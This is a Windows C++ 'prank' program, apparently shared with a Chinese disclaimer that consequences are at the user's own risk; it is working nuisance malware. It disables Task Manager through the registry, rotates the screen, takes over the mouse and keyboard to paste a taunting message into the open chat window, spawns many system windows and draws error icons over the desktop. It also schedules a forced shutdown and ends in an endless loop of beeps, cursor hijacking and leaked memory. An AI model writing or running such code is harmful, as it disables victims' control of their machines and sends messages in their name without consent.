提前声明:后果自负 ”狗头”
#include <bits/stdc++.h>
#include <windows.h>
#define KEY_DOWN(VK_NONAME) ((GetAsyncKeyState(VK_NONAME) & 0x80000) ? 1:0)
using namespace std;
int a;
string user;
POINT p;
BOOL StringToClipBoard(char* srcString)
{
BOOL bResult = FALSE;
DWORD dwLength = strlen(srcString);
HANDLE hGlobalMemory = GlobalAlloc(GHND, dwLength + 1);
LPBYTE lpGlobalMemory = (LPBYTE)GlobalLock(hGlobalMemory);
if ( NULL != lpGlobalMemory )
{
strcpy((char*)lpGlobalMemory, srcString);
GlobalUnlock(hGlobalMemory);
OpenClipboard(NULL);
EmptyClipboard();
SetClipboardData(CF_TEXT, hGlobalMemory);
CloseClipboard();
bResult = TRUE;
}
return bResult;
}
void jin_r()
{
HKEY hkey;
DWORD value = 1;
RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey);
RegSetValueEx(hkey, "DisableTaskMgr", NULL, REG_DWORD, (LPBYTE)&value, sizeof(DWORD));
RegCloseKey(hkey);
}
void fanzhuan()
{
DEVMODE dm;
ZeroMemory(&dm, sizeof(dm));
dm.dmSize = sizeof(dm);
if (0 != EnumDisplaySettings(NULL, ENUM_CURRENT_SETTINGS, &dm))
{
DWORD dwTemp = dm.dmPelsHeight;
dm.dmPelsHeight = dm.dmPelsWidth;
dm.dmPelsWidth = dwTemp;
switch (dm.dmDisplayOrientation)
{
case DMDO_DEFAULT:
dm.dmDisplayOrientation = DMDO_270;
break;
case DMDO_270:
dm.dmDisplayOrientation = DMDO_180;
break;
case DMDO_180:
dm.dmDisplayOrientation = DMDO_90;
break;
case DMDO_90:
dm.dmDisplayOrientation = DMDO_DEFAULT;
break;
default:
break;
}
long lRet = ChangeDisplaySettings(&dm, 0);
if (DISP_CHANGE_SUCCESSFUL != lRet)
{
}
}
}
void down(int vk)
{
keybd_event(vk,0,0,0);
}
void up(int vk)
{
keybd_event(vk,0,KEYEVENTF_KEYUP,0);
}
void press(int vk)
{
keybd_event(vk,0,0,0);
keybd_event(vk,0,KEYEVENTF_KEYUP,0);
}
void danji()
{
mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);
Sleep(10);
mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);
}
int main()
{
HWND hwnd = GetForegroundWindow();
MessageBox(NULL,"准备好后点确定就可以开始啦~","聊天",MB_OK | MB_ICONINFORMATION);
a = MessageBox(NULL,"你确定要运行此程序吗?","系统消息",MB_OKCANCEL | MB_ICONINFORMATION);
if (a == 1)
{
MessageBox(NULL,"按确定三秒后开始运行程序......","系统消息",MB_OK|MB_ICONINFORMATION);
Sleep(2000);
}
else
{
MessageBox(NULL,"不行!你必须运行这个程序!","系统消息",MB_OK | MB_ICONINFORMATION| MB_SYSTEMMODAL);
}
SetWindowPos(hwnd,HWND_TOPMOST, 200, 200, 50, 50, SWP_NOMOVE|SWP_NOSIZE);
MoveWindow(hwnd,200,200,500,200,TRUE);
cout << "嘿,我是XXX, 谢谢你打开我哦\n";
SetCursorPos(5000,5000);
Sleep(1000);
cout << "哈,我想你啦,XXX,xxxxx\n";
SetCursorPos(5000,5000);
Sleep(1000);
StringToClipBoard("所有人看我!你是XXX!");
SetCursorPos(300,280);
danji();
SetCursorPos(300,280);
danji();
down(VK_CONTROL);
keybd_event(86,0,0,0);
keybd_event(86,0,KEYEVENTF_KEYUP,0);
Sleep(10);
press(VK_RETURN);
up(VK_CONTROL);
Sleep(1000);
SetWindowPos(hwnd,HWND_TOPMOST, 200, 200, 500, 200, SWP_NOMOVE|SWP_NOSIZE);
system("cls");
cout << "哈哈哈,菜就多练👎\n";
jin_r();
HWND hwnd2 = GetDesktopWindow();
HDC hdc = GetWindowDC(hwnd);
POINT cursor;
SetCursorPos(5000,5000);
Sleep(1500);
ShowWindow(hwnd,SW_MINIMIZE);
for (int i = 1;i <= 6;i++)
system("start cmd");
for (int i = 1;i <= 2;i++)
{
SetCursorPos(rand()%1000,rand()%1000);
system("start notepad");
SetCursorPos(rand()%1000,rand()%1000);
system("start calc");
SetCursorPos(rand()%1000,rand()%1000);
system("start winver");
SetCursorPos(rand()%1000,rand()%1000);
system("start Nslookup");
SetCursorPos(rand()%1000,rand()%1000);
system("start cleanmgr");
SetCursorPos(rand()%1000,rand()%1000);
system("start charmap");
SetCursorPos(rand()%1000,rand()%1000);
system("start dxdiag");
fanzhuan();
}
system("start cmd");
double start = clock();
double end = clock() - start;
while (end < 4000)
{
end = clock() - start;
SetCursorPos(rand()%1000,rand()%1000);
GetCursorPos(&cursor);
DrawIcon(hdc, cursor.x * 1, cursor.y * 1, LoadIcon(NULL, IDI_ERROR));
DrawIcon(hdc, cursor.x * 1.5, cursor.y * 1.5, LoadIcon(NULL, IDI_QUESTION));
DrawIcon(hdc, cursor.x * 1.5, cursor.y * 1.5, LoadIcon(NULL, IDI_WARNING));
Sleep(0.5);
SetWindowPos(hwnd,HWND_TOPMOST, 500, 500, 50, 50, SWP_NOMOVE|SWP_NOSIZE);
MoveWindow(hwnd,650,350,600,400,TRUE);
cout << "你的电脑真好玩,s11924~";
system("cls");
}
for (int i = 1;i <= 2;i++)
fanzhuan();
for (int i = 1;i <= 5;i++)
system("shutdown -s -t 60");
Sleep(500);
cout<<"我决定给你一次机会"<<endl;
Sleep(1000);
int a,b;
a=rand()%100;
b=rand()%100;
cout<<a<<'+'<<b<<"=?"<<endl;
cout<<"答对后就能寄寄偶~"<<endl;
int n;
cin>>n;
if(a+b==n)
{
cout<<"太棒了!没想到你这么诚实!"<<endl;
Sleep(1000);
cout<<"我决定奖励你的电脑免除此难。"<<endl;
Sleep(1000);
cout<<"即将关闭";
Sleep(1000);
cout<<".";
Sleep(1000);
cout<<".";
Sleep(1000);
cout<<".";
Sleep(2000);
cout<<"不会吧,你真信???";
Sleep(980);
system("shutdown -a");
}
while (1)
{
cout<<"没想到你这么不诚实(生气)"<<endl;
Sleep(100);
cout<<"你废了"<<endl;
Sleep(500);
for(int i=1;i<=1000;i++) Beep(665,1);
SetCursorPos(rand()%1000,rand()%1000);
GetCursorPos(&cursor);
DrawIcon(hdc, cursor.x * 1, cursor.y * 1, LoadIcon(NULL, IDI_ERROR));
DrawIcon(hdc, cursor.x * 1.5, cursor.y * 1.5, LoadIcon(NULL, IDI_QUESTION));
DrawIcon(hdc, cursor.x * 1.5, cursor.y * 1.5, LoadIcon(NULL, IDI_WARNING));
Sleep(0.5);
malloc(1000);
SetWindowPos(hwnd,HWND_TOPMOST, 500, 500, 50, 50, SWP_NOMOVE|SWP_NOSIZE);
MoveWindow(hwnd,650,350,600,400,TRUE);
cout << "你的电脑真好玩,xxx~";
fanzhuan();
system("cls");
}
return 0;
}